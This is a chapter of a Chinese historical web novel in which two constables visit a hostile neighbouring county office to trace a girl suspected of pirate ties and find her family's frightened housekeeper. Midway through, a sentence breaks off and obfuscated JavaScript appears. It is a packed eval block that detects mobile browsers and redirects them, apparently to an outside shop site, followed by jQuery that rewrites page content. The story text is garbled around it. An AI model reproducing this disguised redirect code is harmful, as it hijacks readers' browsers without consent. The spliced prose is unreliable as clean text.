仁平县衙,张、王二捕快不多时就拿到了公文。
顶级书吏笔走龙蛇,毫无拖泥带水。临了盖章时,老县官直接摆了摆手溜进后堂,这下书吏顺手连公章都给盖上了。
二位捕快千恩万谢,山呼“没有您我们该怎么活啊!”
书吏赶紧将他们送走了。
*
待众人散去后,书吏来到后堂。
桌上茶已经泡好,县官端着其中一杯,怡然地在厅中踱步,口中唱着:
“今日个天教他重遇圯桥,怎肯轻轻饶索......”
“大人。”
大人没应他,只是示意他喝茶。
*
张、王二捕快在正午时抵达泉溪县衙,请示通传后,却是左等右等不见人,日头高悬,连入内喝杯茶水都不让。
二位对此已是司空见惯,相视一望,齐齐在衙门的门槛上坐下等候。
所谓清江府三县,在大穆还有个诨名,叫“清江府三刁”。仁平设有水师卫所,兵力覆盖大穆东南二分之一的海域。同和人口最为密集,且为世家所在,甚为繁华。泉溪则有众多港湾及渔村,百姓靠海吃海,物产丰富。
看似各司其职,可实际论起来,就全然不是那么回事儿了。
仁平水师的军爷们表面再客气,那也不是真客气,毕竟天高皇帝远,背地里没少跟县衙起摩擦。而同和,单一个徐家就已是树大根深,遇到难处一呼百应,浩浩荡荡半个宗族的人聚过来,官府这点人还真不够看。
至于泉溪渔村……只能说是民风彪悍。
在这种情形下,各县官府更应同气连枝,共建和平清江府,是也不是?
诸位知县:我不!
仁平现任知县,姓林名清字木生;泉溪的现任知县,姓郑名炎字斫之。林老知县刚外放到此地时,想跟同僚联络感情,一打开名帖,脑袋发懵:
这不是找事呢吗?
他的预感是对的,接下来五年里,恐怕真是风水作祟,这二人在任何事情上都无法达成共识,对于彼此的嫌弃更是逐步由于私上升到于公。二位县官掐得难舍难分,早已成为两县百姓茶余饭后的笑谈,甚至有时同和县的也来凑热闹,问一句,你们那县太爷近来如何了?
答曰:忙着斗另一位县太爷呢!
但斗归斗,这二位官位坐得也是真稳。海患三十年,清江府的知县换了五波,唯独这最后一波待得时间最长。
林知县在内地做了许多年的官,日常无非勾心斗角、宦海沉浮,大家还都顾及着些脸面。到了该养老的年纪,却调到这么个情况复杂的地儿。刚上任不久,县衙就被纵火烧了一次,到现在还没抓住祸首。
这给林老知县留下极大心理阴影,从此便主打一个半眼瞎、全糊涂的行事作风,但求留得命在。
而郑知县武官出身,背靠的郑氏也是同和大族,恰似地头蛇来压地头蛇,泉溪的人想动他也得掂量几分。
两人行事完全不同,倒也在各自位子上坐得安稳。只是这跨县办事就变得极为困难了。两边都是人精,从没说不配合同僚工作,但就是要拖你、磋磨你,最好一日的事情拖成三日才罢休。
时日一长,清江府两县便广为流传一句话:
方辞老朽木,又见阎王爷。
*
眼看着又过半个时辰,泉溪各色小吃摊贩开始在街道中穿行,香气弥漫,自然也不会放过县衙门口。
张、王二捕快坐在门槛上,已经无聊到开始盘算午膳吃什么。
“菜头馃——香喷喷的菜头馃,蒸的软,煎的香,只要四文,给各位客官讨个好彩头!”
叫卖的小贩刚喊得几声,面前就齐齐站了两位官爷,吓得还当是来抓人的。
张捕快看着那煎得焦香金黄的菜馃,咽了口唾沫,“这菜头馃怎么卖?”
“蒸的四文,煎的六文!”
“来两块煎的!”
“好嘞!”那小贩看出他们手头宽裕,一边忙乎一边道,“二位爷,对面那家卖牛肉羹,用的是泉溪本地的好牛肉,出了泉溪可吃不着这个,您二位也尝尝?”
“你倒好心,还帮人家揽生意?”张捕快随口一问,随即奇道,“你怎么知道我们不是泉溪本地的?”
清江府三县方言口音极为相似,张王二位皆是清江府人士,没道理立时给人看出来。
“唉,我说句实话......您别见怪,”小贩眼珠子一转,“这泉溪县衙门口,三天两头就坐着几位邻县来的官爷,我们都看眼熟了。”
张捕快与王捕快对视一眼,彼此都觉命苦,遂决定去再添碗牛肉羹,好好犒劳自个儿。
*
等到终于得以进门,二位捕快已经各自花了十几文出去了,抹着嘴巴去见户房典吏。
户房灰尘弥漫,胡典吏淹没在文册里,见他们来,头也不抬地道:“诶呀真是对不住,今日恰逢要整理户籍册,让二位稍等了会儿,非是有意怠慢。”
王捕快心中腹诽:有意不有意,咱也不知道。毕竟咱也不晓得为啥每次仁平一来人,泉溪户房就要大整文册。
但他面皮上还是客气:“无妨无妨,胡典吏,只要咱把上头交代的事情做好便成。”
胡典吏瞟了一眼公文,“要在泉溪找人?”
“正是,此女名叫杨夺,大概十六七岁左右,自述家住泉溪,”王捕快见他不以为意,忙又补充道:“但她可能跟海贼有干系!”
胡典吏的脑袋登时从文册里抬起来。
“还得劳烦您派人核查一下,若是方便的话,唤她亲属邻居来衙门认人。”
胡典吏接过公文又仔细读了一番,道:“你且稍等。”
他去了后间取了本厚厚的黄册,开始翻找。
“确有此人,家住登贤坊,南街第二户。”
“可有家人?”
“家人......”胡典吏皱起眉头,“有倒是有,但大多不在了。”
只见户籍册上面清清楚楚列着,父:杨传山,母:赵□□。二人皆故去,只有叔父杨传水尚在,同籍未分,如今这户便是以他为户头。
当然不会有杨廷龙的名字在上面。
这下捕快们心里也犯了嘀咕:看来那刘平是将功折罪不了了,人家名姓、户籍、住址、家人全部登记在册,正大光明,无可指摘之处,别说不用他带路,这女子到底是不是海盗之后还两说。
“这户人家跟海盗有什么干系?”胡典吏打探着,忽然像是想到了什么,“该不会是那位......杨......”
张捕快忙做了个打住的手势,神神秘秘地道:“此事尚未确定,但干系重大!还需走访一探究竟。”
胡典吏连连点头,“晓得了,我派人去传,二位在此稍候。”
二位捕快刚坐下,便听他连唤了几声,才召来一个衙役,听了胡典吏的吩咐,便愁眉苦脸地跟他抱怨腾不出手。
而根据大穆律法,县衙办差,需两名及以上差役同行。
纵然屁股还没捂热凳子,张王二位当此情形,也坐不下去了,只得重新站起,表示愿同往。
胡典吏立马又是一番“矜矜业业、尽职尽责”的夸赞,直将人夸得说不出个“不”字,戴着他送的高帽就出门去了。
*
泉溪一带主要是渔村,县城并不大,城内共计十二坊。登贤坊位于城内西侧,都是窄巷石板路,约摸能容两至三人并排通过,不大能走马车。两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209426|197383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边墙体青灰斑驳,像扎染的布,与泉溪其他坊市别无二致。
但再多往里走几步,却内有乾坤。道路在某处会突然豁进去一道口子,一道高门挺立于侧,两边石狮子配楹联,门口一大片地,令人眼前豁然开朗。
这些地方住的,都是当地略体面些但又不想张扬的人家。泉溪一向不太平,让大宅子门开在主街上,那简直是招呼人家来抢。
南街第二户,就更加谨慎了——连大门都不敢做得气派。被胡典吏指派来带路的衙役加上二位捕快,愣是没一个人察觉地把它走过了,掉转头来才找到了正门。
正门不过两人宽,黑漆漆的,上头一块小匾,写着“杨宅”。
衙役叩门数次,不见有人应,便准备就此收工。
“二位,真是不巧,看来这户人家不在。要不等改日我们传到证人了,你们再来领人?”
捕快们还没答复,却又听那衙役嘴巴继续得吧:“
“要不干脆让你们那县太爷把案子转到泉溪来得了,两处并作一处,岂不方便?别把他老人家给累着了。”
虽然对自家上司无甚好感,但这么三番五次被人明晃晃地踩在脸上,仁平捕快可不干了,当即便要发作。
正僵持间,那扇黑漆漆的门开了,门房老头正眯着眼睛瞅他们。
“诶,你这老头怎么叩门不应?衙门办事,找你们家主人,险些因你误了事!”
老头颤颤巍巍地扶着拐杖,口中小声道:“官爷莫怪,年纪大了,腿脚不利索。”
他话是这么说,但面上却无敬畏之色。一双鹰眼阴恻恻的。衙役没当回事,但两位捕快办案多些,莫名地便感到不舒服。
宅子是三进的,装潢雅致,老头将他们引入前厅,便悄没声儿地从侧门溜走了,三位官差连阻拦都没来得及。好在很快便有一妇人现身,看样子是宅子里的管事仆妇,行止有度,周身衣着也考究,上来就向他们行了一礼。
“此间主人杨传水可在?”
“回官爷的话,我家老爷外出探亲,尚未回来,不知......”
“那你家小姐呢?可是叫杨夺?”
管事的一惊,“官爷,我家小姐这次是同老爷一道去。她......年纪小,从前一向不大出门,不会惹什么祸事的!”
“你慌什么?还没说是什么事呢。你们这一家,到处都透着古怪!”
管事的连声称“是”,埋下了脑袋。
“二位,你们看......不如先让这仆妇跟你们回去。”
张、王二人一合计,那杨传水如今也不知身在何方,而且这些丫鬟仆妇照顾小姐起居,应当是最亲近之人,作为证人是再合适不过了,便应了下来。
那管事的更慌了,“官爷......敢问可是我家老爷和小姐出了什么事?”
张捕快道:“你们家小姐,恐怕现在在仁平县衙。”
管事的捂住心口。
王捕快忙安抚道:“但还要你先认过了,才知晓她是不是。”
诸事未明,他们本不欲泄露太多内情,哪料那泉溪衙役嘴快道:
“告诉你也无妨!你那主家,如今跟海贼扯上干系了!!”
“阿弥陀佛!
那妇人一声高呼,直直向地上瘫去。
“你.......!”
王捕快怒指那衙役,但此时也无暇发作,忙搀着管事的在一旁坐下,又是唤人取水又是掐人中,好容易给弄醒转过来。
“我就知道,我就知道会出事!”管事的哭道。
二位捕快颇为惊诧:难不成真有干系?
“几位官爷,我随你们去!我主家绝不是海贼,他们定是给人害了,求官爷明察!”